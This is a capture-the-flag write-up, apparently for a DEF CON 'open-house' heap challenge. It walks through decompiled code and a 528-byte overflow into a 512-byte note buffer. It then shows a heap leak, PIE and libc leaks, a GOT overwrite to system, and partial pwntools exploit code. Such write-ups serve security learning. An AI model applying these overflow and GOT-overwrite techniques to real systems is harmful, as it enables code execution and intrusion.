int __cdecl main(int argc, constchar **argv, constchar **envp) { char s[16]; // [esp+20h] [ebp-18h] BYREF int v5; // [esp+30h] [ebp-8h]
v5 = 0; setvbuf(stdout, 0, 2, 0); signal(14, (__sighandler_t)sub_1260); alarm(0xB4u); fputs("Welcome! Step right in and discover our hidden gem! You'll *love* the pool.\n", stdout); add_note( "This charming and cozy house exudes a delightful charm that will make you feel right at home. Its warm and inviting " "ambiance creates a comforting haven to retreat to after a long day's hard work."); add_note( "Don't let its unassuming exterior fool you; this house is a hidden gem. With its affordable price tag, it presents a" "n excellent opportunity for first-time homebuyers or those seeking a strong investment."); add_note( "Step into this well-maintained house, and you'll find a tranquil retreat awaiting you. From its tidy interior to the" " carefully tended garden, every corner of this home reflects the care and attention bestowed upon it."); add_note( "Situated in a prime location, this house offers unparalleled convenience. Enjoy easy access to schools, shops, and p" "ublic transportation, making everyday tasks a breeze."); add_note( "Although not extravagant, this house offers a blank canvas for your creativity and personal touch. Imagine the endle" "ss possibilities of transforming this cozy abode into your dream home, perfectly tailored to your taste and style."); add_note( "Discover the subtle surprises that this house holds. From a charming reading nook tucked away by the window to a tra" "nquil backyard oasis, this home is full of delightful features that will bring joy to your everyday life."); add_note( "Embrace a strong sense of community in this neighborhood, where friendly neighbors become extended family. Forge las" "ting friendships and create a sense of belonging in this warm and welcoming environment."); add_note( "With its well-kept condition, this house minimizes the hassle of maintenance, allowing you to spend more time doing " "the things you love. Move in with peace of mind, knowing that this home has been diligently cared for."); add_note( "Whether you're looking to expand your investment portfolio or start your real estate journey, this house presents a " "fantastic opportunity. Its affordability and potential for future value appreciation make it a smart choice for savvy buyers."); add_note( "Escape the hustle and bustle of everyday life and find solace in the tranquility of this home. Its peaceful ambiance" " and comfortable layout provide a sanctuary where you can relax, recharge, and create beautiful memories with loved ones."); while ( 2 ) { if ( (*(_BYTE *)(&root + 151) & 1) != 0 ) fputs("c|v|m|d|q> ", stdout); else fputs("c|v|q> ", stdout); if ( fgets(s, 16, stdin) ) { switch ( s[0] ) { case'c': create(); *((_BYTE *)&root + 604) = 1; continue; case'd': if ( (*(_BYTE *)(&root + 151) & 1) != 0 ) delete(); continue; case'm': if ( (*(_BYTE *)(&root + 151) & 1) != 0 ) replace(); continue; case'q': if ( (*(_BYTE *)(&root + 151) & 1) == 0 ) fputs("Leaving so soon?\n", stdout); break; case'v': maybe_view_(); continue; default: fputs("Sorry, didn't catch that.\n", stdout); continue; } } break; } fputs("Thanks for stopping by!\n", stdout); return0; }
I edited some functions’ name for better viewing code. As you can see, it likely that this a classic heap-menu challenge.
When I tried to reverse the add_note function, I saw that maybe this function trys to insert a node to a doubly-linked list.
Also beware of that there is a Node head in .bss segment
1 2 3 4 5 6 7
char *__cdecl add_note(char *src) { ... for ( dest = (Node *)&head; *(_DWORD *)&dest->data[(_DWORD)(&dword_3314 - 3141)]; dest = *(Node **)&dest->data[(_DWORD)(&dword_3314 - 3141)] ) ...
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
0x56559198 0x00000000 0x00000211 ........ 0x565591a0 0x73696854 0x61686320 This cha 0x565591a8 0x6e696d72 0x6e612067 rming an 0x565591b0 0x6f632064 0x6820797a d cozy h .......... 0x56559388 0x00000000 0x00000000 ........ 0x56559390 0x00000000 0x00000000 ........ 0x56559398 0x00000000 0x00000000 ........ 0x565593a0 0x565593b0 0x56558164 ..UVd.UV 0x565593a8 0x00000000 0x00000211 ........ ... pwndbg> vmmap 0x56558164 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA Start End Perm Size Offset File 0x56558000 0x56559000 rw-p 1000 3000 /home/robbert/CTF/defcon/open-house +0x1
And the replace function allows us to read Node.data before overwriting it.
1 2 3 4 5 6
char *replace() { fprintf(stdout, "Replacing this one: %s\n", v5); fputs("What do you think we should we replace it with?\n", stdout); return fgets(v5->data, 528, stdin); ...
Vuln
Node.data’s size is 512, but in the replace function, you can overwrite 528 bytes -> so you can overwrite Node‘s next and Node‘s prev.
v5 = (Node *)&head; fputs("Which of these reviews should we replace?\n", stdout); result = fgets(s, 528, stdin); if ( result ) { idx = strtoul(s, 0, 10); for ( i = 0; i != idx; ++i ) { v1 = v5->next ? v5->next : v5; v5 = v1; if ( !v1->next ) break; } fprintf(stdout, "Replacing this one: %s\n", v5); fputs("What do you think we should we replace it with?\n", stdout); return fgets(v5->data, 528, stdin); } return result; }
Exploit
We can overwrite next and prev of any Node, but we need to leak heap or PIE first.
So confusing. But when debugging, you can detect that the for loop will stop when the current Node has next is NULL.
next is right after data, so when I try fill up 512 bytes to the “final” Node.data” and then create a new Node, the final Node.next = new Node addr -> read the final Node.data can leak new Node addr ( leak heap addr)
1 2 3 4 5 6 7
edit(2,b"2"*512+p32(0)*2) create(b"BBBBBB") # New heap addr in Node 2
When I successfully leaked the PIE address, it’s so easy to leak libc’s address by overwriting Node 2.next to any got address, also this ELF has no RERLO so I can overwrite a got to system.
gs=""" set max-visualize-chunk-size 0x500 # brva 0x00001790 b system """ defstart(): global libc if args.LOCAL: p=e.process() libc = e.libc if args.GDB: gdb.attach(p,gdbscript=gs) pause() elif args.REMOTE: p=remote(args.HOST,int(args.PORT)) libc = ELF("./libc_2.37") p.sendlineafter(b"Ticket please: ",b"ticket{}") return p